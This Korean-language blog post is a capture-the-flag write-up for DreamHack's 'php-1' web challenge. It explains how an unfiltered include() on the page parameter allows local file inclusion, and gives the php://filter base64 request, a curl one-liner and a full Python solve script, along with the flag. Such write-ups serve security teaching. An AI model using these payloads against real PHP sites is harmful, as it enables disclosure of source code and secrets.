[🥉 Bronze 1] flag는 못 읽어도 소스는 새어나간다 — DreamHack php-1 풀이

2026-07-01·1분 읽기·

[🥉 Bronze 1] flag는 못 읽어도 소스는 새어나간다 — DreamHack php-1 풀이

PHP Back Office. view.php 는 파일 파라미터에 "flag" 문자열과 콜론을 막아 php://filter 우회까지 봉쇄했지만, 정작 include 를 직접 호출하는 index.php 의 page 파라미터엔 같은 필터가 없다. 확장자 자동 첨부를 거꾸로 이용해 php://filter/convert.base64-encode 로 flag.php 소스를 실행 대신 텍스트로 읽어낸다.

문제: DreamHack — php-1 분류: Web 난이도: 🥉 Bronze 1 FLAG: DH{bb9db1f303cacf0f3c91e0abca1221ff}

파일을 올려놓고 목록에서 골라 보는 관리 페이지다. 목록 링크를 눌러 파일을 열람하는 경로엔 필터가 촘촘한데, 정작 그 페이지 자체를 불러오는 경로엔 필터가 하나도 없다.

메인 페이지 — PHP Back Office
메인 페이지 — PHP Back Office

문제 개요

항목내용
문제명php-1
난이도🥉 Bronze 1
분류Web
스택PHP · Apache/2.4.18 (Ubuntu)
제공index.php / list.php / view.php / main.php 소스 + 라이브 서버
핵심 취약점page 파라미터로 들어가는 LFI — file 파라미터의 필터가 page엔 적용되지 않음

풀이 흐름은 단순하다. 목록 페이지로 업로드 디렉토리에 flag.php가 있다는 걸 확인하고, 열람 페이지의 필터에 막히면 페이지 자체를 불러오는 include() 쪽으로 방향을 튼다.



🧩 배경 — PHP include()와 php://filter

PHP의 include($path)는 $path가 가리키는 파일을 그 자리에서 파싱해 실행한다. $path에 사용자 입력이 그대로 들어가면 서버의 임의 파일을 실행하거나(로컬 파일 포함, LFI), 아예 다른 프로토콜 핸들러를 붙일 수도 있다.

PHP는 파일 경로 자리에 일반 로컬 경로 말고도 php:// 스트림 래퍼를 받는다. 그중 php://filter는 "이 파일을 열되, 내용을 필터에 통과시켜 달라"는 요청이다.

php://filter/convert.base64-encode/resource=대상파일

이 래퍼가 붙으면 resource= 뒤 파일은 PHP 코드로 실행되지 않고, base64로 인코딩된 텍스트로 반환된다. include()는 그 결과를 다시 파싱하려 하지만 <?php 태그가 없는 순수 base64 문자열이라 그대로 화면에 echo된다. 결과적으로 실행이 아니라 소스 코드 그 자체를 얻게 된다.

이 문제는 include()를 호출하는 지점과, 파일을 "열람"해 보여주는 지점이 서로 다른 파라미터를 쓰는데 필터는 한쪽에만 걸려 있었다.


🔬 코드 정찰

제공된 소스는 넉 장이다. index.php가 라우팅 겸 뷰 로더다.

<div class="container">
  <?php
      include $_GET['page']?$_GET['page'].'.php':'main.php';
  ?>
</div>

page 파라미터가 있으면 $_GET['page'].'.php'를, 없으면 main.php를 include한다. 검사가 전혀 없다. page=list, page=view 둘 다 이렇게 로드된다.

list.php는 업로드 디렉토리를 스캔해 링크를 뿌려준다.

$directory = '../uploads/';
$scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
foreach ($scanned_directory as $key => $value) {
    echo "<li><a href='/?page=view&file={$directory}{$value}'>".$value."</a></li><br/>";
}

실제로 열어봤다.

List 페이지 — uploads 디렉토리 목록
List 페이지 — uploads 디렉토리 목록

flag.php와 hello.json 두 개가 있다. 이름부터 목표가 뭔지 알려준다. 문제는 이걸 어떻게 여느냐다.

view.php가 실제 열람 로직이다.

$file = $_GET['file']?$_GET['file']:'';
if(preg_match('/flag|:/i', $file)){
    exit('Permission denied');
}
echo file_get_contents($file);

file 파라미터에 flag(대소문자 무관)나 : 가 하나라도 들어가면 그 자리에서 끊는다. 목표 파일명 자체에 flag가 박혀 있어서 경로를 있는 그대로 넘기면 바로 걸린다.


🐛 삽질 — file 파라미터로는 답이 없다

가장 먼저 list.php가 만들어준 링크 그대로 눌러봤다.

▶🐛 삽질 1 — file=../uploads/flag.php, 'flag' 문자열에 걸림
GET /?page=view&file=../uploads/flag.php
file 파라미터에 flag.php를 직접 넣으면 차단
file 파라미터에 flag.php를 직접 넣으면 차단

preg_match('/flag|.../i', ...)가 파일명 안의 "flag" 자체를 잡아낸다. 대소문자를 바꿔도(FLAG.php, FlAg.php) /i 플래그 때문에 소용없다.

그럼 flag라는 글자를 아예 안 쓰고 php://filter로 우회하면 어떨까 싶어 시도했다.

▶🐛 삽질 2 — file=php://filter/…, 이번엔 콜론에 걸림
GET /?page=view&file=php://filter/convert.base64-encode/resource=../uploads/flag
file 파라미터에 php:// 래퍼를 넣어도 콜론 때문에 차단
file 파라미터에 php:// 래퍼를 넣어도 콜론 때문에 차단

php://filter 자체에 "flag" 글자가 없어도, : 하나가 정규식의 두 번째 조건(|:)에 걸린다. 스킴 구분자 콜론을 빼면 래퍼 자체가 성립하지 않으니, file 파라미터로는 이 길이 완전히 막혀 있다.

두 번 다 막히고 나서야 view.php만 쳐다보고 있었다는 걸 깨달았다. file은 view.php 안에서만 검사된다. 그런데 애초에 view.php를 불러오는 것도, list.php를 불러오는 것도 전부 index.php의 page 파라미터를 거친다. 그 page 쪽엔 아무 검사가 없다.



💣 핵심 — page는 필터를 거치지 않는다

view.php의 필터는 file 변수 하나만 본다. page 변수는 존재 자체를 모른다. 그리고 index.php의 include $_GET['page'].'.php'는 그 자체로 완전한 LFI 진입점이다.

file 파라미터는 필터를 통과해야 하고, page 파라미터는 필터가 아예 없다
file 파라미터는 필터를 통과해야 하고, page 파라미터는 필터가 아예 없다

여기서 걸리는 건 .php가 자동으로 붙는다는 점 하나다. page=../uploads/flag를 넘기면 서버는 ../uploads/flag.php를 include한다. 마침 목표 파일 이름이 정확히 flag.php라서, 이 자동 첨부가 방해가 아니라 딱 맞아떨어진다.

그대로 include하면 PHP 코드가 실행돼서 $flag = '...' 대입문은 화면에 아무것도 안 남긴다. 그래서 php://filter/convert.base64-encode를 page에 태운다.

page = php://filter/convert.base64-encode/resource=../uploads/flag

여기에 index.php가 .php를 붙이면 최종적으로 resource=../uploads/flag.php가 완성되고, include()는 이 문자열 전체를 스트림 래퍼로 열어 flag.php의 바이트를 실행 없이 base64로 돌려준다.


🎯 익스플로잇

실제로 요청을 보내봤다.

GET /?page=php://filter/convert.base64-encode/resource=../uploads/flag
page 파라미터로 php://filter LFI 성공 — base64 소스 유출
page 파라미터로 php://filter LFI 성공 — base64 소스 유출

본문 가운데에 base64 문자열이 그대로 찍힌다. 터미널에서 같은 요청을 보내 문자열만 뽑아 디코딩했다.

curl -s "http://host3.dreamhack.games:22471/?page=php://filter/convert.base64-encode/resource=../uploads/flag" \
  | grep -oE "[A-Za-z0-9+/=]{40,}" | base64 -d
curl로 받은 base64를 디코딩 — flag.php 소스 원문 확인
curl로 받은 base64를 디코딩 — flag.php 소스 원문 확인

$flag = 'DH{bb9db1f303cacf0f3c91e0abca1221ff}';가 그대로 나온다. view.php가 그렇게 지키려던 문자열이 index.php 쪽에서는 아무 저항 없이 새어나갔다.


🚀 Full Exploit

정찰부터 디코딩까지 한 스크립트로 묶었다.

#!/usr/bin/env python3
# index.php 의 include($_GET['page'].'.php') LFI를 php://filter 로 소스만 읽어낸다.
import base64
import re
import sys
import urllib.parse
import urllib.request
 
BASE = sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:22471"
 
 
def read_via_page_lfi(target_no_ext):
    # index.php 가 뒤에 '.php' 를 자동으로 붙이므로 확장자 없이 넘긴다.
    wrapper = f"php://filter/convert.base64-encode/resource={target_no_ext}"
    url = f"{BASE}/?page=" + urllib.parse.quote(wrapper, safe="")
    html = urllib.request.urlopen(url, timeout=10).read().decode()
    m = re.search(r"[A-Za-z0-9+/=]{40,}", html)
    return base64.b64decode(m.group(0)).decode() if m else None
 
 
src = read_via_page_lfi("../uploads/flag")
print("[*] ../uploads/flag.php 소스:")
print(src)
 
flag = re.search(r"DH\{[^}]*\}", src)
print("\n[+] FLAG =", flag.group(0) if flag else "(not found)")
solve.py 실행 — flag.php 소스와 FLAG 출력
solve.py 실행 — flag.php 소스와 FLAG 출력
[+] FLAG = DH{bb9db1f303cacf0f3c91e0abca1221ff}


📝 결론

같은 값을 다루는 진입점이 여러 개면, 필터도 그 개수만큼 필요하다.

view.php의 개발자는 file 파라미터로 임의 파일이 읽히는 걸 알고 정규식으로 막았다. 그런데 그 페이지 자체를 불러오는 index.php의 page 파라미터가 사실상 같은 능력(임의 파일 include)을 가지고 있다는 걸 놓쳤다. 검사를 "화면에 결과가 보이는 지점"에만 두면, 그 앞단의 로더는 그대로 열려 있는다.

php://filter는 실행을 우회해 소스를 읽는 표준 수단이다.

LFI가 있어도 대상이 PHP 파일이면 include 시 코드가 실행되어 원하는 문자열이 화면에 안 남을 수 있다. php://filter/convert.base64-encode/resource=로 감싸면 실행 대신 인코딩된 원문을 그대로 받아, 실행 결과가 아니라 소스 자체를 확보할 수 있다.

블랙리스트는 검사 대상 자체가 우회 가능한 문자열이라는 걸 잊기 쉽다.

/flag|:/i 하나로 파일명과 스트림 래퍼를 동시에 막으려 한 시도는 나쁘지 않았지만, 그 필터가 붙어야 할 자리가 한 곳이 아니라는 걸 확인하지 못하면 다른 진입점에서 그대로 뚫린다.

이 글이 도움이 됐나요?

Comments

댓글

0개

댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)

댓글 불러오는 중…

Related

관련 글

3개
[🥉 Bronze 1] 확장자만 .md면 통과 — 내용은 아무도 안 봤다, DreamHack Pearfect Markdown 풀이
blog

[🥉 Bronze 1] 확장자만 .md면 통과 — 내용은 아무도 안 봤다, DreamHack Pearfect Markdown 풀이

실시간으로 마크다운을 미리보기 해주는 아주 단순한 PHP 페이지. 업로드 라우트는 파일 이름의 확장자가 .md인지만 검사하고, 미리보기 라우트는 그 파일을 include()로 그대로 불러온다. 두 라우트 모두 각자 보면 그럴듯한 방어처럼 보이지만, 확장자 검사는 "내용"을 전혀 보지 않고 include()는 "확장자"를 전혀 가리지 않는다는 게 문제였다. 처음엔 경로traversal로 flag 파일을 직접 읽으려 했지만 빌드 스크립트가 파일명을 32자 랜덤 문자열로 바꿔둔 탓에 실패했고, 결국 업로드한 .md 파일 안에 PHP 코드를 심어 실행시키는 쪽으로 방향을 틀었다.
#dreamhack#ctf#web+5
2026-07-21#dreamhack +4
[🥉 Bronze 3] base64 블록을 반칸 밀어 필터를 빠져나가다 — DreamHack Base64 based 풀이
blog

[🥉 Bronze 3] base64 블록을 반칸 밀어 필터를 빠져나가다 — DreamHack Base64 based 풀이

파일명을 base64로 받아 include하는 PHP 앱인데, 인코딩된 문자열에 flag·hp·../의 base64 조각이 있으면 막는다. flag.php의 정직한 base64는 그 조각을 그대로 품는다. 앞에 ./를 붙여 3바이트 블록 정렬을 반칸 밀면 조각이 쪼개져 필터가 통째로 헛돈다.
#dreamhack#ctf#web+5
2026-07-12#dreamhack +4
[🥉 Bronze 3] cat 대신 실행 — DreamHack File Vulnerability Advanced 풀이
blog

[🥉 Bronze 3] cat 대신 실행 — DreamHack File Vulnerability Advanced 풀이

경로검증 없는 /file 엔드포인트로 path traversal, /admin의 API_KEY는 Dockerfile 더미값이라 무의미해 보이지만 /proc/self/environ을 읽으면 런타임 실제 키가 그대로 나온다. 그 키로 연 /admin RCE로 flag를 찾아도 cat은 500만 뜬다 — flag가 ---x--x--x(실행 전용) ELF라 읽지 말고 실행해야 한다.
#dreamhack#ctf#web+5
2026-07-06#dreamhack +4